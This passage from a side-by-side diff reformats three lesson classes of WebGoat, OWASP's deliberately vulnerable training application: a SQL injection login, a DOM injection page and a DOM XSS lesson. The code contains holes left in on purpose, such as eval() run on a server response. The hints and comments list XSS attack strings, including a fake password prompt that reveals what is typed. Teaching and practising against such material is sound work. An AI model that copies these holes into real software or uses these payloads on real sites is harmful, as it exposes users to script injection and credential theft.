String driver = getWebgoatContext().getDatabaseDriver(); String driver = getWebgoatContext().getDatabaseDriver();
boolean hidden = ! (driver.contains("oracle") || driver.contains("jtds")); boolean hidden = !(driver.contains("oracle") || driver.contains("jtds"));
return hidden; return hidden;
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.DBSQLInjection; package org.owasp.webgoat.lessons.DBSQLInjection;
import java.sql.CallableStatement; import java.sql.CallableStatement;
@ -7,7 +8,6 @@ import java.sql.Statement;
import java.sql.Types; import java.sql.Types;
import java.util.List; import java.util.List;
import java.util.Vector; import java.util.Vector;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -18,231 +18,209 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class Login extends DefaultLessonAction public class Login extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
{
//System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "."
+ DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees);
String employeeId = null;
try
{ {
employeeId = s.getParser().getStringParameter( super(lesson, lessonName, actionName);
DBSQLInjection.EMPLOYEE_ID); this.chainedAction = chainedAction;
String password = s.getParser().getRawParameter( }
DBSQLInjection.PASSWORD);
// Attempt authentication public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
boolean authenticated = login(s, employeeId, password); {
// System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName());
if (authenticated) List employees = getAllEmployees(s);
{ setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees);
// Execute the chained Action if authentication succeeded.
String employeeId = null;
try try
{ {
chainedAction.handleRequest(s); employeeId = s.getParser().getStringParameter(DBSQLInjection.EMPLOYEE_ID);
} String password = s.getParser().getRawParameter(DBSQLInjection.PASSWORD);
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
s.setMessage("Login failed");
} // Attempt authentication
catch (ParameterNotFoundException pnfe) boolean authenticated = login(s, employeeId, password);
{
// No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated",
Boolean.FALSE);
}
}
if (authenticated)
public String getNextPage(WebSession s) {
{ // Execute the chained Action if authentication succeeded.
String nextPage = DBSQLInjection.LOGIN_ACTION; try
if (isAuthenticated(s))
nextPage = chainedAction.getNextPage(s);
return nextPage;
}
public boolean requiresAuthentication()
{
return false;
}
public boolean login(WebSession s, String userId, String password)
{
boolean authenticated = false;
try
{
String call = "{ ? = call EMPLOYEE_LOGIN(?,?) }"; // NB: "call", not "CALL"! Doh!
try
{
CallableStatement statement = WebSession.getConnection(s)
.prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.registerOutParameter(1, Types.INTEGER);
statement.setInt(2, Integer.parseInt(userId));
statement.setString(3, password);
statement.execute();
int rows = statement.getInt(1);
if (rows > 0) {
setSessionAttribute(s,
getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "."
+ DBSQLInjection.USER_ID, userId);
authenticated = true;
if (DBSQLInjection.STAGE1.equals(getStage(s)) &&
DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId))
{
setStageComplete(s, DBSQLInjection.STAGE1);
}
} else {
if (DBSQLInjection.STAGE2.equals(getStage(s)))
{ {
try chainedAction.handleRequest(s);
{ } catch (UnauthenticatedException ue1)
String call2 = "{ ? = call EMPLOYEE_LOGIN_BACKUP(?,?) }"; {
statement = WebSession.getConnection(s) System.out.println("Internal server error");
.prepareCall(call2, ResultSet.TYPE_SCROLL_INSENSITIVE, ue1.printStackTrace();
ResultSet.CONCUR_READ_ONLY); } catch (UnauthorizedException ue2)
statement.registerOutParameter(1, Types.INTEGER); {
statement.setInt(2, Integer.parseInt(userId)); System.out.println("Internal server error");
statement.setString(3, password); ue2.printStackTrace();
statement.execute();
rows = statement.getInt(1);
if (rows > 0)
setStageComplete(s, DBSQLInjection.STAGE2);
}
catch (SQLException sqle2){}
} }
} }
} else
catch (SQLException sqle) s.setMessage("Login failed");
{
s.setMessage("Error logging in: " + sqle.getLocalizedMessage());
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error logging in: " + e.getLocalizedMessage());
e.printStackTrace();
}
//System.out.println("Lesson login result: " + authenticated); } catch (ParameterNotFoundException pnfe)
return authenticated;
}
public List getAllEmployees(WebSession s)
{
List<EmployeeStub> employees = new Vector<EmployeeStub>();
// Query the database for all roles the given employee belongs to
// Query the database for all employees "owned" by these roles
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
+ "where employee.userid=roles.userid";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{ {
int employeeId = answer_results.getInt("userid"); // No credentials offered, so we log them out
String firstName = answer_results.getString("first_name"); setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
employees.add(stub);
} }
}
catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
} }
return employees; public String getNextPage(WebSession s)
} {
String nextPage = DBSQLInjection.LOGIN_ACTION;
if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
return nextPage;
}
public boolean requiresAuthentication()
{
return false;
}
public boolean login(WebSession s, String userId, String password)
{
boolean authenticated = false;
try
{
String call = "{ ? = call EMPLOYEE_LOGIN(?,?) }"; // NB: "call", not "CALL"! Doh!
try
{
CallableStatement statement = WebSession.getConnection(s)
.prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
statement.registerOutParameter(1, Types.INTEGER);
statement.setInt(2, Integer.parseInt(userId));
statement.setString(3, password);
statement.execute();
int rows = statement.getInt(1);
if (rows > 0)
{
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.USER_ID, userId);
authenticated = true;
if (DBSQLInjection.STAGE1.equals(getStage(s))
&& DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId))
{
setStageComplete(s, DBSQLInjection.STAGE1);
}
}
else
{
if (DBSQLInjection.STAGE2.equals(getStage(s)))
{
try
{
String call2 = "{ ? = call EMPLOYEE_LOGIN_BACKUP(?,?) }";
statement = WebSession.getConnection(s).prepareCall(call2,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.registerOutParameter(1, Types.INTEGER);
statement.setInt(2, Integer.parseInt(userId));
statement.setString(3, password);
statement.execute();
rows = statement.getInt(1);
if (rows > 0) setStageComplete(s, DBSQLInjection.STAGE2);
} catch (SQLException sqle2)
{
}
}
}
} catch (SQLException sqle)
{
s.setMessage("Error logging in: " + sqle.getLocalizedMessage());
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error logging in: " + e.getLocalizedMessage());
e.printStackTrace();
}
// System.out.println("Lesson login result: " + authenticated);
return authenticated;
}
public List getAllEmployees(WebSession s)
{
List<EmployeeStub> employees = new Vector<EmployeeStub>();
// Query the database for all roles the given employee belongs to
// Query the database for all employees "owned" by these roles
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
+ "where employee.userid=roles.userid";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{
int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub);
}
} catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
}
return employees;
}
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -16,175 +16,156 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a> * @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created October 28, 2006 * @created October 28, 2006
*/ */
public class DOMInjection extends LessonAdapter public class DOMInjection extends LessonAdapter
{ {
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
private final static String KEY = "key"; private final static String KEY = "key";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{
String key = "K1JFWP8BSO8HI52LNPQS8F5L01N";
ElementContainer ec = new ElementContainer();
try
{ {
String userKey = s.getParser().getRawParameter(KEY, "");
String fromAJAX = s.getParser().getRawParameter("from", ""); String key = "K1JFWP8BSO8HI52LNPQS8F5L01N";
if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 ElementContainer ec = new ElementContainer();
&& userKey.equals(key))
{ try
s.getResponse().setContentType("text/html"); {
s.getResponse().setHeader("Cache-Control", "no-cache"); String userKey = s.getParser().getRawParameter(KEY, "");
PrintWriter out = new PrintWriter(s.getResponse() String fromAJAX = s.getParser().getRawParameter("from", "");
.getOutputStream()); if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 && userKey.equals(key))
out.print("document.forms[0].SUBMIT.disabled = false;"); {
out.flush(); s.getResponse().setContentType("text/html");
out.close(); s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print("document.forms[0].SUBMIT.disabled = false;");
out.flush();
out.close();
return ec;
}
if (s.getRequest().getMethod().equalsIgnoreCase("POST"))
{
makeSuccess(s);
}
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
String lineSep = System.getProperty("line.separator");
String script = "<script>" + lineSep + "function validate() {" + lineSep
+ "var keyField = document.getElementById('key');" + lineSep + "var url = '" + getLink()
+ "&from=ajax&key=' + encodeURIComponent(keyField.value);" + lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep + "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep + " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep + " req.send(null);" + lineSep + "}" + lineSep
+ "function callback() {" + lineSep + " if (req.readyState == 4) { " + lineSep
+ " if (req.status == 200) { " + lineSep + " var message = req.responseText;"
+ lineSep + " eval(message);" + lineSep + " }}}" + lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script));
ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Registration Page:")));
ec.addElement(new BR()
.addElement("Please enter the license key that was emailed to you to start using the application."));
ec.addElement(new BR());
ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("70%").setAlign("center");
TR tr = new TR();
tr.addElement(new TD(new StringElement("License Key: ")));
Input input1 = new Input(Input.TEXT, KEY, "");
input1.addAttribute("onkeyup", "validate();");
tr.addElement(new TD(input1));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD("&nbsp;").setColSpan(2));
t1.addElement(tr);
tr = new TR();
Input b = new Input();
b.setType(Input.SUBMIT);
b.setValue("Activate!");
b.setName("SUBMIT");
b.setDisabled(true);
tr.addElement(new TD("&nbsp;"));
tr.addElement(new TD(b));
t1.addElement(tr);
ec.addElement(t1);
return ec; return ec;
}
if (s.getRequest().getMethod().equalsIgnoreCase("POST"))
{
makeSuccess(s);
}
} }
catch (Exception e)
public Element getCredits()
{ {
s.setMessage("Error generating " + this.getClass().getName()); return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
e.printStackTrace();
} }
String lineSep = System.getProperty("line.separator"); protected Category getDefaultCategory()
String script = "<script>" + lineSep + "function validate() {" {
+ lineSep + "var keyField = document.getElementById('key');"
+ lineSep + "var url = '" + getLink()
+ "&from=ajax&key=' + encodeURIComponent(keyField.value);"
+ lineSep + "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep + "req = new XMLHttpRequest();" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');" + lineSep
+ " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep
+ " req.send(null);" + lineSep + "}" + lineSep
+ "function callback() {" + lineSep
+ " if (req.readyState == 4) { " + lineSep
+ " if (req.status == 200) { " + lineSep
+ " var message = req.responseText;" + lineSep
+ " eval(message);" + lineSep + " }}}" + lineSep
+ "</script>" + lineSep;
ec.addElement(new StringElement(script)); return Category.AJAX_SECURITY;
ec.addElement(new BR().addElement(new H1() }
.addElement("Welcome to WebGoat Registration Page:")));
ec
.addElement(new BR()
.addElement("Please enter the license key that was emailed to you to start using the application."));
ec.addElement(new BR());
ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0)
.setWidth("70%").setAlign("center");
TR tr = new TR(); protected Integer getDefaultRanking()
tr.addElement(new TD(new StringElement("License Key: "))); {
Input input1 = new Input(Input.TEXT, KEY, ""); return DEFAULT_RANKING;
input1.addAttribute("onkeyup", "validate();"); }
tr.addElement(new TD(input1));
t1.addElement(tr);
tr = new TR(); protected List<String> getHints(WebSession s)
tr.addElement(new TD("&nbsp;").setColSpan(2)); {
t1.addElement(tr); List<String> hints = new ArrayList<String>();
hints.add("This page is using XMLHTTP to comunicate with the server.");
hints.add("Try to find a way to inject the DOM to enable the Activate button.");
hints.add("Intercept the reply and replace the body with document.forms[0].SUBMIT.disabled = false;");
return hints;
}
tr = new TR(); public String getTitle()
Input b = new Input(); {
b.setType(Input.SUBMIT); return "DOM Injection";
b.setValue("Activate!"); }
b.setName("SUBMIT");
b.setDisabled(true);
tr.addElement(new TD("&nbsp;"));
tr.addElement(new TD(b));
t1.addElement(tr);
ec.addElement(t1);
return ec;
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("This page is using XMLHTTP to comunicate with the server.");
hints.add("Try to find a way to inject the DOM to enable the Activate button.");
hints.add("Intercept the reply and replace the body with document.forms[0].SUBMIT.disabled = false;");
return hints;
}
public String getTitle()
{
return "DOM Injection";
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.BufferedReader; import java.io.BufferedReader;
@ -6,7 +7,6 @@ import java.io.FileReader;
import java.io.IOException; import java.io.IOException;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -18,31 +18,40 @@ import org.apache.ecs.html.Input;
import org.apache.ecs.html.Script; import org.apache.ecs.html.Script;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
public class DOMXSS extends SequentialLessonAdapter {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public class DOMXSS extends SequentialLessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String PERSON = "person"; private final static String PERSON = "person";
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
* @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) { protected Element createContent(WebSession s)
{
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception { protected Element doStage1(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("img") != -1&& attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1) { if (attackString.toString().toLowerCase().indexOf("img") != -1
&& attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1)
{
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed. "); s.setMessage("Stage 1 completed. ");
} }
@ -50,14 +59,18 @@ public class DOMXSS extends SequentialLessonAdapter {
return (ec); return (ec);
} }
protected Element doStage2(WebSession s) throws Exception { protected Element doStage2(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("img") != -1 && attackString.toString().toLowerCase().indexOf("onerror") != -1 && attackString.toString().toLowerCase().indexOf("alert") != -1) { if (attackString.toString().toLowerCase().indexOf("img") != -1
&& attackString.toString().toLowerCase().indexOf("onerror") != -1
&& attackString.toString().toLowerCase().indexOf("alert") != -1)
{
getLessonTracker(s).setStage(3); getLessonTracker(s).setStage(3);
s.setMessage("Stage 2 completed. "); s.setMessage("Stage 2 completed. ");
} }
@ -65,28 +78,34 @@ public class DOMXSS extends SequentialLessonAdapter {
return (ec); return (ec);
} }
protected Element doStage3(WebSession s) throws Exception { protected Element doStage3(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("iframe") != -1 && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) { if (attackString.toString().toLowerCase().indexOf("iframe") != -1
&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1)
{
getLessonTracker(s).setStage(4); getLessonTracker(s).setStage(4);
s.setMessage("Stage 3 completed."); s.setMessage("Stage 3 completed.");
} }
return (ec); return (ec);
} }
protected Element doStage4(WebSession s) throws Exception { protected Element doStage4(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) { if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1
&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1)
{
getLessonTracker(s).setStage(5); getLessonTracker(s).setStage(5);
s.setMessage("Stage 4 completed."); s.setMessage("Stage 4 completed.");
} }
@ -94,7 +113,8 @@ public class DOMXSS extends SequentialLessonAdapter {
return (ec); return (ec);
} }
protected Element doStage5(WebSession s) throws Exception { protected Element doStage5(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(mainContent(s)); ec.addElement(mainContent(s));
@ -107,7 +127,7 @@ public class DOMXSS extends SequentialLessonAdapter {
String file = s.getWebResource("javascript/DOMXSS.js"); String file = s.getWebResource("javascript/DOMXSS.js");
String content = getFileContent(file); String content = getFileContent(file);
if(content.indexOf("escapeHTML(name)") != -1) if (content.indexOf("escapeHTML(name)") != -1)
{ {
makeSuccess(s); makeSuccess(s);
} }
@ -115,11 +135,13 @@ public class DOMXSS extends SequentialLessonAdapter {
return ec; return ec;
} }
protected ElementContainer mainContent(WebSession s) { protected ElementContainer mainContent(WebSession s)
{
StringBuffer attackString = null; StringBuffer attackString = null;
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try { try
{
ec.addElement(new Script().setSrc("javascript/DOMXSS.js")); ec.addElement(new Script().setSrc("javascript/DOMXSS.js"));
@ -139,7 +161,8 @@ public class DOMXSS extends SequentialLessonAdapter {
Element b = ECSFactory.makeButton("Submit Solution"); Element b = ECSFactory.makeButton("Submit Solution");
ec.addElement(b); ec.addElement(b);
} catch (Exception e) { } catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
@ -148,11 +171,12 @@ public class DOMXSS extends SequentialLessonAdapter {
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) { public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Try entering the following: " + "&lt;IMG SRC=\"images/logos/owasp.jpg\"/&gt;"); hints.add("Try entering the following: " + "&lt;IMG SRC=\"images/logos/owasp.jpg\"/&gt;");
@ -161,106 +185,119 @@ public class DOMXSS extends SequentialLessonAdapter {
hints.add("Try entering the following: " + "&lt;IFRAME SRC=\"javascript:alert('XSS');\"&gt;&lt;/IFRAME&gt;"); hints.add("Try entering the following: " + "&lt;IFRAME SRC=\"javascript:alert('XSS');\"&gt;&lt;/IFRAME&gt;");
hints.add("Try entering the following: " + "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button " + hints
"onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;"); .add("Try entering the following: "
+ "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button "
+ "onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;");
// Attack Strings:
// <IMG SRC="images/logos/owasp.jpg"/>
//Attack Strings: // <img src=x onerror=;;alert('XSS') />
//<IMG SRC="images/logos/owasp.jpg"/> // <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
//<img src=x onerror=;;alert('XSS') />
//<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
//Please enter your password:<BR><input type = "password" name="pass"/><button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
// Please enter your password:<BR><input type = "password" name="pass"/><button
// onClick="javascript:alert('I
// have your password: ' +
// pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
return hints; return hints;
} }
/** /**
* Gets the ranking attribute of the HelloScreen object * Gets the ranking attribute of the HelloScreen object
* *
* @return The ranking value * @return The ranking value
*/ */
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() { protected Integer getDefaultRanking()
{
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected Category getDefaultCategory() { protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() { public String getTitle()
{
